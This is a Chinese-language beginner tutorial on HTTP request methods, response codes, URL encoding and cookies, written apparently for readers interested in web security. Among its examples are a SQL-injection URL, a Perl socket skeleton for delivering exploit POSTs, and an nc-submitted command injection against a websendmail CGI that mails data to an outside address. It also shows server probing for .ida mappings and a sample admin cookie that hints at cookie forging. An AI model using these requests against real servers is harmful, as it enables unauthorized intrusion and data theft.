HTTP协议中GET、POST和HEAD的介绍
http 是一个相对简单的协议,它定义了客户(通常通过浏览器)和www服务器之间的会话过程。现在我们来看看这个会话过程的简要说明:客户打开与服务器的套接,使用的端口通常是80。然后它服务器发送请求行,请求标题,最后是请求空行。客户的请求通常是请求文档,它可以是文本文件,图片或者是程序等。服务器接受这个请求,然后查找请求的数据,最后根据查找的结果做出响应。如果上面的过程是一个cgi程序的话,那么服务器将会执行这个程序,并将程序执行的结果输给客户端。所以不明白cgi程序的朋友,可以这样理解cgi程序,它可以用很多的语言来写,只要它能完成一个任务:分析客户请求行中的数据,然后代替服务器做出响应!我们今天要讨论的就是从客户端的角度来理解这个问题,首先来看一个标准的客户请求格式:
请求方法 文挡地址 http/版本
请求标题:数据1
…………….
请求标题:数据N
空白行
在上面的格式中,第一行是必须的,它指明请求的文挡,又称请求头。下面的是请求标题可以多个。最后的空白行表示终止。这里还有一个问题,如果请求方法是POST的话那么空白行后面还可以发送附加数据。这里有一个非常重要的问题就是请求方法。无论对于我们cgi新手还是喜欢web安全的朋友,都是必须的知识
这是一个典型的请求头:
GET /bbs/login.asp HTTP/1.0
其中GET就是一个请求方法。/bbs/login.asp是文挡的地址即URI,它是URL的一部分。HTTP/1.0 是http 协议的版本号。这种方式的请求是建立在已经和服务器的套接建立的基础上的。完整的URL 可以是这样的方式:http://www.target.com/bbs/login.asp 。在http 1.0的协议里定义了三种请求方式:GET,POST,HEAD。http 1.1又补充了一些,如PUT,DELETE,OPTIONS和TRACE。现在也越来越多的服务器支持这些方法。下面我们来介绍一下常用的方法。
GET 这个是浏览器用语向服务器请求最常用的方法。我们在浏览器上发送的URL就是一个GET请求,当然我们也可以用程序,比如netcat,webget等来做。我们有的时候在看到一些黑客高手们在文章中提到的一些请求的例子,可能新手朋友们很难理解,比如:
http://www.target.com/bbsxp165/bbsxp/searc...password)>1)
这就是一个相当复杂的GET请求,/searchok.asp?是请求这个asp文件,后面就是要传输给这个程序的数据,这个数据是根据网页的交互固定的。服务器接受这个请求后这些数据将被放入环境变量QUERY_STRING中。数据通常是一些数据名/数据值对。没对数据名/数据值之间用&来分开。例子的提交里forumid=()空格里的是一个sql语句,这是由于这里存在sql injection漏洞,当然不在我们讨论的范围。还有GET请求的数据不能超过一个特定的长度,比如2000字节。
POST 这个方法也是用来传送数据的,但是与GET不同的是,使用POST的时候,数据不是附在URI后面传递的,而是要做为独立的行来传递,此时还必须要发送一个Content_length标题,以标明数据长度,随后一个空白行,然后就是实际传送的数据。网页的表单通常是用POST来传送的。这里我们来举两个安全人士常用的提交方式,通常就是黑客们所谓的发现某个网页的或者某个cgi程序的漏洞然后构造一个特殊请求的时候用的:
1,脚本实现
…………
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "tcp", Type => SOCK_STREAM) or die “can’t connect to the host\n”;
print $socket "POST /$b HTTP/1.1\r\n";
print $socket "Host: $host\r\n";
print $socket "Content-Type: text/xml\r\n";
print $socket "Content-length: $length\r\n\r\n";
print $socket "$data\r\n";
$socket->recv($rbuf,500);
close($socket);
……….
以上是perl程序POST提交的主体部分,比如一个溢出程序,关键的地方就在于$b(URI)和$data 的构造上!
2, 使用nc来提交
建立一个hack.txt的文件输入下面的内容:
POST /cgi-bin/websendmail HTTP/1.0
Content-length: xxx (should be replaced with the actual length of the
string passed to the server, in this case xxx=90)
receiver=;mail+your_address\@somewhere.org
然后用nc来请求
nc www.victim.com 80 <hack.txt
这样就完成了一个post的提交,当然还有很多别的方法可以实现这个提交,这里只是举两个我认为方便的办法。
HEAD 方法和GET的语法是一样的,如果用HEAD方法请求的话,则服务器返回的只是响应标题,而不会返回被请求的文挡,HEAD方法通用于一些搜索引擎中,当然我们的cgi扫描软件很多都是使用这个方式请求的。
以下方法属于http 1.1的标准,我们目前使用的还少,简单的介绍一下定义。
PUT 可以将客户提交的文挡保存在服务器的URI上
DELETE 用于请求服务器删除指定的URI
OPTIONS 可以请求对于指定URI可用的通用选项信息
TRACE请求服务器将附加的文挡无变更的返回,主要用于调试。
提到了请求,自然要讲一下,服务器的响应了,它的标准格式如下
HTTP/版本号 状态码 消息
响应标题:数据1
………….
响应标题:数据N
空白行
客户提交的文挡
看个例子吧:
nc www.victim.com 80
GET /index.html
HTTP/1.1 400 Bad Request
Date: Tue, 14 May 2002 07:03:02 GMT
Server: Apache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
127
……………
响应预定义的状态码有很多,通常是服务器默认的设置,是三位数,以1,2,3,4,5开头的
1xx 主要用于调试和实验的目的
2xx 主要表示请求成功
3xx 表示请求的uri有多个选择或者已经移动位置了
4xx 400表示请求行中有语法错误,404表示文挡不存在
5xx 表示服务器内部错误
有的时候可能大家总是忽略了这些东西的做用,事实上有的时候他们的作用还真的不小,比如我们手头没有任何工具,如何知道服务器上是否有ida,printf等映射呢,我们可以这么请求:http://www.victim.com/*.ida 如果出现500 服务器内部错误,我想问题就已经很清楚了。
既然都说这么多的废话了,那么再给大家来点关于URL编码,数据传输的小知识,和cookies的一些介绍吧。
URL编码和数据传输
下面是一个例子:
http://www1.baidu.com/baidu?word=netcat+ex...gb2312&cl=3&f=1
通常我们的浏览器在发送数据的时候要先经过编码,这是一种规范。GET 和POST 都是一样的,当然对于表单你可以用enctype字段来规定其他的编码方式。上面的例子语法,格式是用HEAD请求的。我们看到其中有一些特殊的符号如”%”,这是由于当数据中有非字母或数据的字符时,URL编码会将该字符转化为其ASCII码对应的数字,这样便以一个两位数字的16进制编码来代表字符。在 URL 编码中由百分号指示。 因此,%25 表示百分号本身(25是十六进制的,就是以 16 为基,代表百分号的 ASCII 码值),所有127(7fhex) 以上,和 33 (21hex) 以下的所有字符都会被转义,这包含空格符,空格的转义符为 %20. 加号被解释为空格符。
cookies 内容简介
cookies的作用,这里我就不说了,光是对它语法和格式本身就进介绍,我们先来看一个cookies的例子
aspsky
userhidden=2&password=469e80d32c0559f8&userid=1&userclass=%B9%DC%C0%ED%D4%B1&username=admin& usercookies=1
localhost/bbs/
0
3061727232
29562033
2222055456
29561914
*
参考这个例子我们来看看cookies 的 properties 主要包括:
key -->aspsky
value-->userhidden=2&password=469e80d32c0559f8&userid=1&userclass=%B9%DC%C0%ED%D4%B1&usernam e=admin&usercookies=1
damain-->localhost/bbs/
secure-->0 相当于no
expire-->3061727232 29562033 有效时间需要解码才能读出来
modified-->3061727232 29562033 修改时间,解码方式和expire一样
created in ->server
有的时候还有ip address
以上这些介绍只是方便大家对cookies的理解,具体的请参考一些专业的资料。有的时候经常遇到一些朋友问起怎么伪造cookies,我想写到这里已经非常清楚了。
说了这么多,总结一下吧
如果你是一个新手的话,如果你对http协议不是很清楚的话,建议你好好读读一些资料,毕竟这个是我们一天到晚泡网的基础哦,如果你是一个和我一样,喜欢研究网络编程安全的朋友,那么希望我们能一起交流,一起进步。本文只是简单的介绍了一下http方面的一些基础知识,并没有深入的讲述,在一定程 度上说只是给新手朋友们一个概念,但是对于大家理解在网络一些高手的精彩文章,还是相当有用的。